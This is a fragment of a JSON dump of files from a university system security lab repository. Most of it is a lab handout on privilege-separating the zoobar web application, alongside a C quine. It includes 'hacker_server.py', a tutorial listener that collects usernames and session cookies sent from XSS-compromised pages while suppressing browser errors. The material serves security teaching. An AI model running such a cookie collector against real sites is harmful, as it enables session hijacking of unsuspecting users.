`answer-7.html`, `answer-8.html`, `answer-9.html`, `answer-10.html`, `answer-11.html`, `answer-12.html`, `answer-13.html`, `answer-14.txt`.\n\n## Acknowledgement\n\nThis lab is modified from MIT's Computer System Security (6858) labs. We thank the MIT staff for releasing the source code.\n" }, { "alpha_fraction": 0.5964553356170654, "alphanum_fraction": 0.6087253093719482, "avg_line_length": 27.211538314819336, "blob_id": "56dea351a00bf2550c1bbd84cea9156979b1bed8", "content_id": "09daf61413e5c1212fbeb66243f7280c3c99fd2d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1467, "license_type": "no_license", "max_line_length": 77, "num_lines": 52, "path": "/tutorials/session11/xss-cookie/scripts/hacker_server.py", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\"\"\"\nSmall 'hacker' script that prints certain values sent via AJAX requests\nfrom XSSd sites.\n\"\"\"\nfrom http.server import (\n HTTPServer,\n BaseHTTPRequestHandler,\n)\nimport urllib\nimport datetime\n\n\nclass CustomRequestHandler(BaseHTTPRequestHandler):\n \"\"\"\n Extend the Base handler to overrided do_POST\n \"\"\"\n\n def do_POST(self):\n \"\"\"\n Handle incoming data and print it to the console.\n Return 200 OK and CORS headers to prevent errors in the browser (this\n could alert the user that something is wrong).\n \"\"\"\n length = int(self.headers['Content-Length'])\n content = self.rfile.read(length)\n data = urllib.parse.parse_qs(content.decode('utf-8'))\n print(\"Data sent from: {0} at {1}\".format(\n self.headers['Referer'],\n datetime.datetime.now(),\n ))\n if self.path == '/cookie':\n print(\"{0} has cookie with value:\\n{1}\\n\\n\".format(\n data['username'][0], data['cookie'][0]))\n else:\n print(\"Currently unknown path\")\n self.send_response(200)\n self.send_header('Access-Control-Allow-Origin', '*')\n self.end_headers()\n\n\ndef main():\n server_class = HTTPServer\n handler_class = CustomRequestHandler\n server_address = ('', 8000)\n httpd = server_class(server_address, handler_class)\n httpd.serve_forever()\n\n\nif __name__ == '__main__':\n print('Started')\n main()\n" }, { "alpha_fraction": 0.5164608955383301, "alphanum_fraction": 0.644032895565033, "avg_line_length": 53, "blob_id": "d13d8ec255bef63e88f265f29d302022f5ecc6e2", "content_id": "4dc97fc299aae21059d77c83e6df01fe88d6b7c4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 486, "license_type": "no_license", "max_line_length": 274, "num_lines": 9, "path": "/tutorials/session1/stage1/quine.c", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n\nconst char * TEXT = \"#include <stdio.h>%c%cconst char * TEXT = %c%s%c;%c%cint main(){%c%c//Prints own source code and injects newlines(10), horizontal tabs(9) and apostrophes(34)%c%cprintf(TEXT, 10, 10, 34, TEXT, 34, 10, 10, 10, 9, 10, 9, 10, 9, 10, 10);%c%creturn 0;%c}%c\";\n\nint main(){\n\t//Prints own source code and injects newlines(10), horizontal tabs(9) and apostrophes(34)\n\tprintf(TEXT, 10, 10, 34, TEXT, 34, 10, 10, 10, 9, 10, 9, 10, 9, 10, 10);\n\treturn 0;\n}\n" }, { "alpha_fraction": 0.7596093416213989, "alphanum_fraction": 0.7643615007400513, "avg_line_length": 101.94054412841797, "blob_id": "728961fcfcfc079a1cdab2cbd97c25be90930180", "content_id": "e1188815c4ba16a32e04c58d51c219a0c73c37d6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 38088, "license_type": "permissive", "max_line_length": 764, "num_lines": 370, "path": "/documentation/docs/labs/lab2/README.md", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "# Lab 2 - Privilege Separation\n\n<font size=\"5\"> Due: 18/7/2021, 23:59pm </font>\n\n## A) Introduction\nThis lab will introduce you to privilege separation and server-side sandboxing, in the context of a simple python web application called `zoobar`, where users transfer \"zoobars\" (credits) between each other. The main goal of privilege separation is to ensure that if an adversary compromises one part of an application, the adversary doesn't compromise the other parts too. To help you privilege-separate this application, the `zookws` web server used in the previous lab is a clone of the OKWS web server, discussed in lecture. In this lab, you will set up a privilege-separated web server, examine possible vulnerabilities, and break up the application code into less-privileged components to minimize the effects of any single vulnerability.\n\nYou will also extend the Zoobar web application to support _executable profiles_, which allow users to use Python code as their profiles. To make a profile, a user saves a Python program in their profile on their Zoobar home page. (To indicate that the profile contains Python code, the first line must be `#!python`.) Whenever another user views the user's Python profile, the server will execute the Python code in that user's profile to generate the resulting profile output. This will allow users to implement a variety of features in their profiles, such as:\n\n- A profile that greets visitors by their user name.\n- A profile that keeps track of the last several visitors to that profile.\n- A profile that gives a zoobar to every visitor (limit 1 per minute).\n\nSupporting this safely requires sandboxing the profile code on the server, so that it cannot perform arbitrary operations or access arbitrary files. On the other hand, this code may need to keep track of persistent data in some files, or to access existing zoobar databases, to function properly. You will use the RPC library and some shim code that we provide to securely sandbox executable profiles.\n\n### Zoobar\n\nTo understand the `zoobar` application itself, we will first examine the `zoobar` web application code.\n\nOne of the key features of the `zoobar` application is the ability to transfer credits between users. This feature is implemented by the script `transfer.py`.\n\nTo get a sense what transfer does, start the `zoobar` Web site:\n\n```bash\nhttpd@istd:~/labs/lab2_priv_separation$ sudo make all setup\n[sudo] password for httpd: httpd\n./chroot-setup.sh\n+ grep -qv uid=0\n+ id\n...\n+ python /jail/zoobar/zoodb.py init-person\n+ python /jail/zoobar/zoodb.py init-transfer\nhttpd@istd:~/labs/lab2_priv_separation$ sudo ./zookld zook.conf\nzookld: Listening on port 8080\nzookld: Launching zookd\n...\n```\n\nNow, make sure you can run the web server, and access the web site from your browser. In this particular example, you would want to open your browser and go to `http://127.0.0.1:8080/zoobar/index.cgi/`. You should see the `zoobar` web site.\n\n:::tip <p></p>\n\n### Exercise 1\n\nIn your browser, connect to the Web site, and create two user accounts. Login in as one of the users, and transfer zoobars from one user to another by clicking on the transfer link and filling out the form. Play around with the other features too to get a feel for what it allows users to do. In short, a registered user can update his/her profile, transfer \"zoobars\" (credits) to another user, and look up the zoobar balance, profile, and transactions of other users in the system.\n\n**Note:** You don't need to generate any file for this exercise, but make sure that you understand the structure of the zoobar application by briefly describing how it works --it will save you time in the future!\n\n:::\n\n### Privilege separation\n\nHaving surveyed the zoobar application code, it is worth starting to think about how to apply privilege separation to the `zookws` and `zoobar` infrastructure so that bugs in the infrastructure don't allow an adversary, for example, to transfer zoobars to the adversary account.\n\nThe web server for this lab uses the `/jail` directory to setup `chroot` jails for different parts of the web server, much as in the OKWS paper. The **make** command compiles the web server, and **make setup** installs it with all the necessary permissions in the `/jail` directory.\n\nAs part of this lab, you will need to change how the files and directories are installed, such as changing their owner or permissions. To do this, you should _not_ change the permissions directly. Instead, you should edit the `chroot-setup.sh` script in the `lab` directory, and re-run **sudo make setup**. _If you change the permissions in a different script, your server might not work_.\n\nTwo aspects make privilege separation challenging in the real world and in this lab. First, privilege separation requires that you take apart the application and split it up in separate pieces. Although we have tried to structure the application well so that it is easy to split, there are places where you must redesign certain parts to make privilege separation possible. Second, you must ensure that each piece runs with minimal privileges, which requires setting permissions precisely and configuring the pieces correctly. Hopefully, by the end of this lab, you'll have a better understanding of why many applications have security vulnerabilities related to failure to properly separate privileges: proper privilege separation is hard!\n\nOne problem that you might run into is that it's tricky to debug a complex application that's composed of many pieces. To help you, we have provided a simple debug library in `debug.py`, which is imported by every Python script we give you. The `debug` library provides a single function, `log(msg)`, which prints the message `msg` to stderr (which should go to the terminal where you ran `zookld`), along with a stack trace of where the `log` function was called from.\n\nIf something doesn't seem to be working, try to figure out what went wrong, or contact the course staff, before proceeding further.\n\n## B) Web server setup using Unix principals and permissions\n\nOnce your source code is in place, make sure that you can compile and install the web server and the `zoobar` application which is available on `~/labs/lab2_priv_separation` directory:\n\n```bash\nhttpd@istd:~/labs/lab2_priv_separation$ make\ncc -m32 -g -std=c99 -Wall -Werror -D_GNU_SOURCE -c -o zookld.o zookld.c\ncc -m32 -g -std=c99 -Wall -Werror -D_GNU_SOURCE -c -o http.o http.c\ncc -m32 zookld.o http.o -lcrypto -o zookld\ncc -m32 -g -std=c99 -Wall -Werror -D_GNU_SOURCE -c -o zookfs.o zookfs.c\ncc -m32 zookfs.o http.o -lcrypto -o zookfs\ncc -m32 -g -std=c99 -Wall -Werror -D_GNU_SOURCE -c -o zookd.o zookd.c\ncc -m32 zookd.o http.o -lcrypto -o zookd\nhttpd@istd:~/labs/lab2_priv_separation$ sudo make setup\n[sudo] password for httpd: httpd\n./chroot-setup.sh\n+ grep -qv uid=0\n+ id\n...\n+ python /jail/zoobar/zoodb.py init-person\n+ python /jail/zoobar/zoodb.py init-transfer\nhttpd@istd:~/labs/lab2_priv_separation$\n```\n\nIn lab 1, `zookws` consisted of essentially one process: `zookd`. From the security point of view, this structure is not ideal: for example, any buffer overrun you found, you can use to take over `zookws`. For example, you can invoke the dynamic scripts with arguments of your choice (e.g., giving many zoobars to yourself), or simpler, just write the database that contains the zoobar accounts directly.\n\nThis lab refactors `zookd` following [OKWS](http://okws.org/) from lecture 5. Similar to OKWS, `zookws` consists of a launcher daemon `zookld` that launches services configured in the file `zook.conf`, a `zookd` that just routes requests to corresponding services, as well as several services. For simplicity `zookws` does not implement helper or logger daemon as OKWS does.\n\nIn addition to splitting `zookws` into several components, we will configure each component to restrict what it can do. Thus, even if there is an exploit (e.g., another buffer overrun in `zookd`), the restrictions will give the attacker little control. For example, taking over `zookd`, will not allow the attacker to invoke the dynamic scripts or write the database directly.\n\nThe file `zook.conf` is the configuration file that specifies how each service should run. For example, the `zookd` entry:\n\n```shell\n[zookd]\n cmd = zookd\n uid = 0\n gid = 0\n dir = /jail\n```\n\nspecifies that the command to run zookd is `zookd`, that it runs with user and group ID 0 (which is the superuser root), in the jail directory `/jail`.\n\nThe `zook.conf` file configures only one HTTP service, `zookfs_svc`, that serves static files and executes dynamic scripts. The `zookfs_svc` does so by invoking the executable `zookfs`, which should be jailed in the directory `/jail` by `chroot`. You can look into `/jail`; it contains executables (except for `zookld`), supporting libraries, and the `zoobar` web site. See `zook.conf` and `zookfs.c` for details.\n\nThe launcher daemon `zookld`, which reads `zook.conf` and sets up all services is running under root and can bind to a privileged port like 80. Note that in the default configuration, `zookd` and vulnerable services are _inappropriately_ running under root and that `zookld` doesn't jail processes yet; an attacker can exploit buffer overflows and cause damages to the server, e.g., unlink a specific file as you have done in Lab 1.\n\nTo fix the problem, you should run these services under _unprivileged users_ rather than root. You will modify `zookld.c` and `zook.conf` to set up user IDs, group IDs, and chroot for each service. This will proceed in a few steps: first you will modify `zookld.c` to support `chroot`, second you will modify `zookld.c` to support user and group IDs other than root, and finally you will modify `zook.conf` to use this support.\n\n:::tip <p></p>\n\n### Exercise 2\n\nModify the function `launch_svc` in `zookld.c` so that it jails the process being created. `launch_svc` creates a new process for each entry in `zook.conf`, and then configures that process as specified in `zook.conf`. Your job is to insert the call to `chroot` in the specified place. You want to run `man 2 chroot` to read the manual page about `chroot`. If you do this correctly, services won't be able to read files outside of the directory specified. For example, `zookd` shouldn't be able to read the real `/etc/passwd` anymore.\n\nRun **sudo make check** to verify that your modified configuration passes our basic tests in `check_lab2.py`, but keep in mind that our tests are not exhaustive. You probably want to read over the cases before you start implementing.\n\n:::\n\n:::tip <p></p>\n\n### Exercise 3\n\nModify the function `launch_svc` in `zookld.c` so that it sets the user and group IDs and the supplementary group list specified in `zook.conf`. You will need to use the system calls `setresuid`, `setresgid`, and `setgroups`. Change the `zook.conf` uid and gid for zookd and zookfs so that they run as something other than root.\n\nThink carefully about when your code can set the user ID. For example, can it go before `setegid` or `chroot`?\n\nYou will have to modify `chroot-setup.sh` to ensure that the files on disk, such as the database, can be read only by the processes that should be able to read them. You can either use the built-in `chmod` and `chown` commands or our provided `set_perms` function, which you can invoke like so:\n\n```bash\nset_perms 1234:5678 755 /path/to/file\n```\n\nHint: look in `/tmp/zookld.out` for information about permission failures.\n\nRun **sudo make check** to verify that your modified configuration passes our basic tests.\n\n:::\n\nNow that none of the services are running as root, we will try to further privilege-separate the `zookfs_svc` service that handles both static files and dynamic scripts. Although it runs under an unprivileged user, some Python scripts could easily have security holes; a vulnerable Python script could be tricked into deleting important static files that the server is serving. Conversely, the static file serving code might be tricked into serving up the databases used by the Python scripts, such as `person.db` and `transfer.db`. A better organization is to split `zookfs_svc` into two services, one for static files and the other for Python scripts, running as different users.\n\n:::tip <p></p>\n\n### Exercise 4\n\nModify `zook.conf` to replace `zookfs_svc` with two separate services, `dynamic_svc` and `static_svc`. Both should use `cmd = zookfs`. `dynamic_svc` should execute just `/zoobar/index.cgi` (which runs all the Python scripts), but should not serve any static files. `static_svc` should serve static files but not execute anything.\n\nRun the dynamic and static services with different user and group IDs. Set file and directory permissions (using `chroot-setup.sh`) to ensure that the static service cannot read the database files, that the dynamic service cannot modify static files.\n\nThis separation requires `zookd` to determine which service should handle a particular request. You may use `zookws`'s URL filtering to do this, without modifying the application or the URLs that it uses. The URL filters are specified in `zook.conf`, and support regular expressions. For example, `url = .*` matches all requests, while `url = /zoobar/(abc|def)\\.html` matches requests to `/zoobar/abc.html` and `/zoobar/def.html`.\n\nWe have added a feature to `zookfs` to only run executables or scripts marked by a particular combination of owning user and group. To use this function, add an `args = UID GID` line to the service's configuration. For example, the following `zook.conf` entry:\n\n```bash\n[safe_svc]\n cmd = zookfs\n uid = 0\n gid = 0\n dir = /jail\n args = 123 456\n```\n\nspecifies that `safe_svc` will only execute files owned by user ID 123 and group ID 456.\n\nYou need this `args =` mechanism for the dynamic server to ensure that it only executes `index.cgi`, and not any of the other executables in the file system. You shouldn't rely on your `url =` pattern alone to limit what the dynamic server executes, because it's too hard to write the regular expressions properly. For example, even if you configure the filter to pass only URLs matching `.cgi` to the dynamic service, an adversary can still invoke a hypothetical buggy `/zoobar/foo.py` script by issuing a request for `/zoobar/foo.py/xx.cgi`.\n\nYou also need the `args =` mechanism for the static service, to prevent it from executing anything at all.\n\nFor this exercise, you should only modify configurations and permissions; don't modify any C or Python code.\n\nRun **sudo make check** to verify that your modified configuration passes our tests.\n\n:::\n\n### RPC library\n\nIn this part, you will privilege-separate the `zoobar` application itself in several processes. We would like to limit the damage from any future bugs that come up. That is, if one piece of the `zoobar` application has an exploitable bug, we'd like to prevent an attacker from using that bug to break into other parts of the `zoobar` application.\n\nA challenge in splitting the `zoobar` application into several processes is that the processes must have a way to communicate. You will first study a Remote Procedure Call (RPC) library that allows processes to communicate over a Unix socket. Then, you will use that library to separate `zoobar` into several processes that communicate using RPC.\n\nTo illustrate how our RPC library might be used, we have implemented a simple \"echo\" service for you, in `zoobar/echo-server.py`. This service is invoked by `zookld`; look for the `echo_svc` section of `zook.conf` to see how it is started.\n\n`echo-server.py` is implemented by defining an RPC class `EchoRpcServer` that inherits from `RpcServer`, which in turn comes from `zoobar/rpclib.py`. The `EchoRpcServer` RPC class defines the methods that the server supports, and `rpclib` invokes those methods when a client sends a request. The server defines a simple method that echos the request from a client.\n\n`echo-server.py` starts the server by calling `run_sockpath_fork(sockpath)`. This function listens on a UNIX-domain socket. The socket name comes from the argument, which in this case is `/echosvc/sock` (specified in `zook.conf`). When a client connects to this socket, the function forks the current process. One copy of the process receives messages and responds on the just-opened connection, while the other process listens for other clients that might open the socket.\n\nWe have also included a simple client of this `echo` service as part of the Zoobar web application. In particular, if you go to the URL `/zoobar/index.cgi/echo?s=hello`, the request is routed to `zoobar/echo.py`. That code uses the RPC client (implemented by `rpclib`) to connect to the echo service at `/echosvc/sock` and invoke the `echo` operation. Once it receives the response from the echo service, it returns a web page containing the echoed response.\n\nThe RPC client-side code in `rpclib` is implemented by the `call` method of the `RpcClient` class. This methods formats the arguments into a string, writes the string on the connection to the server, and waits for a response (a string). On receiving the response, `call` parses the string, and returns the results to the caller.\n\n## C) Privilege-separating the login service in Zoobar\n\nWe will now use the RPC library to improve the security of the user passwords stored in the Zoobar web application. Right now, an adversary that exploits a vulnerability in any part of the Zoobar application can obtain all user passwords from the `person` database.\n\nThe first step towards protecting passwords will be to create a service that deals with user passwords and cookies, so that only that service can access them directly, and the rest of the Zoobar application cannot. In particular, we want to separate the code that deals with user authentication (i.e., passwords and tokens) from the rest of the application code. The current `zoobar` application stores everything about the user (their profile, their zoobar balance, and authentication info) in the `Person` table (see `zoodb.py`). We want to move the authentication info out of the `Person` table into a separate `Cred` table (Cred stands for Credentials), and move the code that accesses this authentication information (i.e., `auth.py`) into a separate service.\n\nThe reason for splitting the tables is that the tables are stored in the file system in `zoobar/db/`, and are accessible to all Python code in Zoobar. This means that an attacker might be able to access and modify any of these tables, and we might never find out about the attack. However, once the authentication data is split out into its own database, we can set Unix file and directory permissions such that only the authentication service---and not the rest of Zoobar---can access that information.\n\nSpecifically, your job will be as follows:\n\n- Decide what interface your authentication service should provide (i.e., what functions it will run for clients). Look at the code in `login.py` and `auth.py`, and decide what needs to run in the authentication service, and what can run in the client (i.e., be part of the rest of the zoobar code). Keep in mind that your goal is to protect both passwords and tokens. We have provided initial RPC stubs for the client in the file `zoobar/auth_client.py`.\n- Create a new `auth_svc` service for user authentication, along the lines of `echo-server.py`. We have provided an initial file for you, `zoobar/auth-server.py`, which you should modify for this purpose. The implementation of this service should use the existing functions in `auth.py`.\n- Modify `zook.conf` to start the `auth-server` appropriately (under a different UID).\n- Split the user credentials (i.e., passwords and tokens) from the `Person` database into a separate `Cred` database, stored in `/zoobar/db/cred`. Don't keep any passwords or tokens in the old `Person` database.\n- Modify `chroot-setup.sh` to set permissions on the `cred` database appropriately, and to create the socket for the auth service.\n- Modify the login code in `login.py` to invoke your auth service instead of calling `auth.py` directly.\n\n:::tip <p></p>\n\n### Exercise 5\n\nImplement privilege separation for user authentication, as described above.\n\nDon't forget to create a regular `Person` database entry for newly registered users.\n\nRun **sudo make check** to verify that your privilege-separated authentication service passes our tests.\n\n:::\n\nNow, we will further improve the security of passwords, by using hashing and salting. The current authentication code stores an exact copy of the user's password in the database. Thus, if an adversary somehow gains access to the `cred.db` file, all of the user passwords will be immediately compromised. Worse yet, if users have the same password on multiple sites, the adversary will be able to compromise users' accounts there too!\n\nHashing protects against this attack, by storing a hash of the user's password (i.e., the result of applying a hash function to the password), instead of the password itself. If the hash function is difficult to invert (i.e., is a cryptographically secure hash), an adversary will not be able to directly obtain the user's password. However, a server can still check if a user supplied the correct password during login: it will just hash the user's password, and check if the resulting hash value is the same as was previously stored.\n\nOne weakness with hashing is that an adversary can build up a giant table (called a \"rainbow table\"), containing the hashes of all possible passwords. Then, if an adversary obtains someone's hashed password, the adversary can just look it up in its giant table, and obtain the original password.\n\nTo defeat the rainbow table attack, most systems use _salting_. With salting, instead of storing a hash of the password, the server stores a hash of the password concatenated with a randomly-generated string (called a salt). To check if the password is correct, the server concatenates the user-supplied password with the salt, and checks if the result matches the stored hash. Note that, to make this work, the server must store the salt value used to originally compute the salted hash! However, because of the salt, the adversary would now have to generate a separate rainbow table for every possible salt value. This greatly increases the amount of work the adversary has to perform in order to guess user passwords based on the hashes.\n\nA final consideration is the choice of hash function. Most hash functions, such as MD5 and SHA1, are designed to be fast. This means that an adversary can try lots of passwords in a short period of time, which is not what we want! Instead, you should use a special hash-like function that is explicitly designed to be _slow_. A good example of such a hash function is [PBKDF2](http://en.wikipedia.org/wiki/PBKDF2), which stands for Password-Based Key Derivation Function (version 2).\n\n:::tip <p></p>\n\n### Exercise 6\n\nImplement password hashing and salting in your authentication service. In particular, you will need to extend your `Cred` table to include a `salt` column; modify the registration code to choose a random salt, and to store a hash of the password together with the salt, instead of the password itself; and modify the login code to hash the supplied password together with the stored salt, and compare it with the stored hash. Don't remove the password column from the `Cred` table (the check for exercise 5 requires that it be present); you can store the hashed password in the existing `password` column.\n\nTo implement PBKDF2 hashing, you can use the [Python PBKDF2 module](http://www.dlitz.net/software/python-pbkdf2/). Roughly, you should `import pbkdf2`, and then hash a password using `pbkdf2.PBKDF2(password, salt).hexread(32)`. We have provided a copy of `pbkdf2.py` in the `zoobar` directory. Do not use the `random.random` function to generate a salt as [the documentation of the random module](http://docs.python.org/2/library/random.html) states that it is not cryptographically secure. A secure alternative is the function `os.urandom`.\n\nRun **sudo make check** to verify that your hashing and salting code passes our tests. Keep in mind that our tests are not exhaustive.\n\n:::\n\nA surprising side-effect of using a very computationally expensive hash function like PBKDF2 is that an adversary can now use this to launch denial-of-service (DoS) attacks on the server's CPU. For example, the popular Django web framework recently posted a [security advisory](https://www.djangoproject.com/weblog/2013/sep/15/security/) about this, pointing out that if an adversary tries to log in to some account by supplying a very large password (1MB in size), the server would spend an entire minute trying to compute PBKDF2 on that password. Django's solution is to limit supplied passwords to at most 4KB in size. For this lab, we do not require you to handle such DoS attacks.\n\n## E) Privilege-separating the bank in Zoobar\n\nFinally, we want to protect the zoobar balance of each user from adversaries that might exploit some bug in the Zoobar application. Currently, if an adversary exploits a bug in the main Zoobar application, they can steal anyone else's zoobars, and this would not even show up in the `Transfer` database if we wanted to audit things later.\n\nTo improve the security of zoobar balances, our plan is similar to what you did above in the authentication service: split the `zoobar` balance information into a separate `Bank` database, and set up a `bank_svc` service, whose job it is to perform operations on the new `Bank` database and the existing `Transfer` database. As long as only the `bank_svc` service can modify the `Bank` and `Transfer` databases, bugs in the rest of the Zoobar application should not give an adversary the ability to modify zoobar balances, and will ensure that all transfers are correctly logged for future audits.\n\n:::tip <p></p>\n\n### Exercise 7\n\nPrivilege-separate the bank logic into a separate `bank_svc` service, along the lines of the authentication service. Your service should implement the `transfer` and `balance` functions, which are currently implemented by `bank.py` and called from several places in the rest of the application code.\n\nYou will need to split the `zoobar` balance information into a separate `Bank` database (in `zoodb.py`); implement the bank server by modifying `bank-server.py`; add the bank service to `zook.conf`; modify `chroot-setup.sh` to create the new `Bank` database and the socket for the bank service, and to set permissions on both the new `Bank` and the existing `Transfer` databases accordingly; create client RPC stubs for invoking the bank service; and modify the rest of the application code to invoke the RPC stubs instead of calling `bank.py`'s functions directly.\n\nDon't forget to handle the case of account creation, when the new user needs to get an initial 10 zoobars. This may require you to change the interface of the bank service.\n\nRun **sudo make check** to verify that your privilege-separated bank service passes our tests.\n\n:::\n\nFinally, we need to fix one more problem with the bank service. In particular, an adversary that can access the transfer service (i.e., can send it RPC requests) can perform transfers from _anyone's_ account to their own. For example, it can steal 1 zoobar from any victim simply by issuing a `transfer(victim, adversary, 1)` RPC request. The problem is that the bank service has no idea who is invoking the `transfer` operation. Some RPC libraries provide authentication, but our RPC library is quite simple, so we have to add it explicitly.\n\nTo authenticate the caller of the `transfer` operation, we will require the caller to supply an extra `token` argument, which should be a valid token for the sender. The bank service should reject transfers if the token is invalid.\n\n:::tip <p></p>\n\n### Exercise 8\n\nAdd authentication to the `transfer` RPC in the bank service. The current user's token is accessible as `g.user.token`. How should the bank validate the supplied token?\n\nAlthough **make check** does not include an explicit test for this exercise, you should be able to check whether this feature is working or not by manually connecting to your transfer service and verifying that it is not possible to perform a transfer without supplying a valid token.\n\n:::\n\nSubmit your answers of exercises 1-8 by running **make prepare-submit-b** and upload the resulting `lab2b-handin.tar.gz` file to [edimension website](https://edimension.sutd.edu.sg).\n\n## D) Server-side sandboxing for executable profiles\n\nYou should familiarize yourself with the following new components of the lab source:\n\n- **First**, the `profiles/` directory contains several executable profiles, which you will use as examples throughout this lab:\n\n - `profiles/hello-user.py` is a simple profile that prints back the name of the visitor when the profile code is executed, along with the current time.\n - `profiles/visit-tracker.py` keeps track of the last time that each visitor looked at the profile, and prints out the last visit time (if any).\n - `profiles/last-visits.py` records the last three visitors to the profile, and prints them out.\n - `profiles/xfer-tracker.py` prints out the last zoobar transfer between the profile owner and the visitor.\n - `profiles/granter.py` gives the visitor one zoobar. To make sure visitors can't quickly steal all zoobars from a user, this profile grants a zoobar only if the profile owner has some zoobars left, the visitor has less than 20 zoobars, and it has been at least a minute since the last time that visitor got a zoobar from this profile.\n\n* **Second**, `zoobar/sandboxlib.py` is a Python module that implements sandboxing for untrusted Python profile code; see the Sandbox class, and the `run()` method which executes a specified function in the sandbox. The run method works by forking off a separate process and calling `setresuid` in the child process before executing the untrusted code, so that the untrusted code does not have any privileges. The parent process reads the output from the child process _(i.e., the untrusted code)_ and returns this output to the caller of `run()`. If the child doesn't exit after a short timeout (5 seconds by default), the parent process kills the child.\n\n `Sandbox.run()` also uses `chroot` to restrict the untrusted code to a specific directory, passed as an argument to the `Sandbox` constructor. This allows the untrusted profile code to perform some limited file system access, but the creator of `Sandbox` gets to decide what directory is accessible to the profile code.\n\n `Sandbox` uses just one user ID for running untrusted profiles. This means that it's important that at most one profile be executing in the sandbox at a time. Otherwise, one sandboxed process could tamper with another sandboxed process, since they both have the same user ID! To enforce this guarantee, `Sandbox` uses a lockfile; whenever it tries to run a sandbox, it first locks the lockfile, and releases it only after the sandboxed process has exited. If two processes try to run some sandboxed code at the same time, only one will get the lockfile at a time. It's important that all users of `Sandbox` specify the same lockfile name if they use the same UID.\n\n How does `Sandbox` know that some sandboxed code has fully exited and it's safe to reuse the user ID to run a different user's profile? After all, the untrusted code could have forked off another process, and is waiting for some other profile to start running with the same user ID. To prevent this, `Sandbox` uses Unix's resource limits: it uses `setrlimit` to limit the number of processes with a given user ID, so that the sandboxed code simply cannot fork. This means that, after the parent process kills the child process (or notices that it has exited), it can safely conclude there are no remaining processes with that user ID.\n\n* **The final piece** of code is `zoobar/profile-server.py`: an RPC server that accepts requests to run some user's profile code, and returns the output from executing that code.\n\n This server uses `sandboxlib.py` to create a `Sandbox` and execute the profile code in it (via the `run_profile` function). `profile-server.py` also sets up an RPC server that allows the profile code to get access to things outside of the sandbox, such as the zoobar balances of different users. The `ProfileAPIServer` implements this interface; `profile-server.py` forks off a separate process to run the `ProfileAPIServer`, and also passes an RPC client connected to this server to the sandboxed profile code.\n\n Because `profile-server.py` uses `sandboxlib.py`, which it turn needs to call `setresuid` to sandbox some process, the main `profile-server.py` process needs to run as root. As an aside, this is a somewhat ironic limitation of Unix mechanisms: if you want to improve your security by running untrusted code with a different user ID, you are forced to run some part of your code as root, which is a dangerous thing to do from a security perspective.\n\n### Python profiles with privilege separation\n\nTo get started, you will need to add `profile-server.py` to your `zook.conf` and modify `chroot-setup.sh` to create a directory for its socket, `/jail/profilesvc`. Remember that `profile-server.py` needs to run as root, so put 0 for the uid in its `zook.conf` entry.\n\n:::tip <p></p>\n\n### Exercise 9\n\nAdd `profile-server.py` to your web server. Change the `uid` value in `ProfileServer.rpc_run()` from 0 to some other value compatible with your design.\n\nMake sure that your Zoobar site can support all of the five profiles. Depending on how you implemented privilege separation in lab 2, you may need to adjust how `ProfileAPIServer` implements `rpc_get_xfers` or `rpc_xfer`.\n\nRun **sudo make check** to verify that your modified configuration passes our tests. The test case (see `check_lab2_part4.py`) creates some user accounts, stores one of the Python profiles in the profile of one user, has another user view that profile, and checks that the other user sees the right output.\n\nIf you run into problems from the `make check` tests, you can always check `/tmp/html.out` for the output html of the profiles. Similarly, you can also check the output of the server in `/tmp/zookld.out`. If there is an error in the server, they will usually display there.\n\n:::\n\nThe next problem we need to solve is that some of the user profiles store data in files; for example, see `last-visits.py` and `visit-tracker.py`. However, all of the user profiles currently run with access to the same files, because `ProfileServer.rpc_run()` sets `userdir` to `/tmp` and passes that as the directory to `Sandbox` (which it turn `chroot`s the profile code to that directory). As a result, one user's profile can corrupt the files stored by another user's profile.\n\n:::tip <p></p>\n\n### Exercise 10\n\nModify `rpc_run` in `profile-server.py` so that each user's profile has access to its own files, and cannot tamper with the files of other user profiles.\n\nRemember to consider the possibility of usernames with special characters. Also be sure to protect all of these files from other services on the same machine (such as the `zookfs` that serves static files).\n\nRun `make check` to see whether your implementation passes our test cases.\n\n:::\n\nFinally, recall that all of `profile-server.py` currently runs as root because it needs to create a sandbox. This is dangerous, and we would like to reduce the amount of code in `profile-server.py` that runs as root. In particular, the `ProfileAPIServer` that runs as part of `profile-server.py` does not strictly need to run as root (it does not invoke the sandbox), and in fact, it might be the most vulnerable part of the code to attacks, because it accepts RPC commands from the untrusted profile code!\n\n:::tip <p></p>\n\n### Exercise 11\n\nChange `ProfileAPIServer` in `profile-server.py` to avoid running as root. Recall that `profile-server.py` forks off a separate child process to run `ProfileAPIServer`, so you can switch to a different user ID (and group ID, if necessary) in `ProfileAPIServer.__init__`.\n\nYou will need to make sure that `rpc_xfer` can still perform transfers from the profile owner's account. It may be helpful to obtain the correct token before giving up root privileges.\n\nAs before, use `make check` to ensure your code passes our tests.\n\n:::\n\nYou are done! Submit your answers to exercises 9-11 by running **make prepare-submit** and upload the resulting `lab2-handin.tar.gz` file to [edimension website](https://edimension.sutd.edu.sg).\n\n## Homework Submission\nYour submission include the codes (if any) to the exercise, and *one* short report explaining all of your\nsolutions. The report is in PDF format, named `answers.pdf` and will be given a maximum of three points. Zip all files and upload to eDimension. \n\nUse the following commands to generate the codes for submission. Keep in mind that those commands only compress the files of your lab folder. Make sure that your changes are included in the compressed files according to their respective exercises.\n\n| Exercise | Deliverable | Command |\n| ---------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------- | ------------------------- |\n| [2](#exercise-2),[3](#exercise-3),[4](#exercise-4),[5](#exercise-5),[6](#exercise-6),[7](#exercise-7),[8](#exercise-8) | `lab2b-handin.tar.gz` | **make prepare-submit-b** |\n| [9](#exercise-9),[10](#exercise-10),[11](#exercise-11) | `lab2-handin.tar.gz` | **make prepare-submit** |\n\n\n## Acknowledgement\nThis lab is modified from MIT's Computer System Security (6858) labs. We thank the MIT staff for releasing the source code.\n" }, { "alpha_fraction": 0.6102719306945801, "alphanum_fraction": 0.6283987760543823, "avg_line_length": 14.39534854888916, "blob_id": "649bc038176802eac9cc0056dfbd273d2bf9fd02", 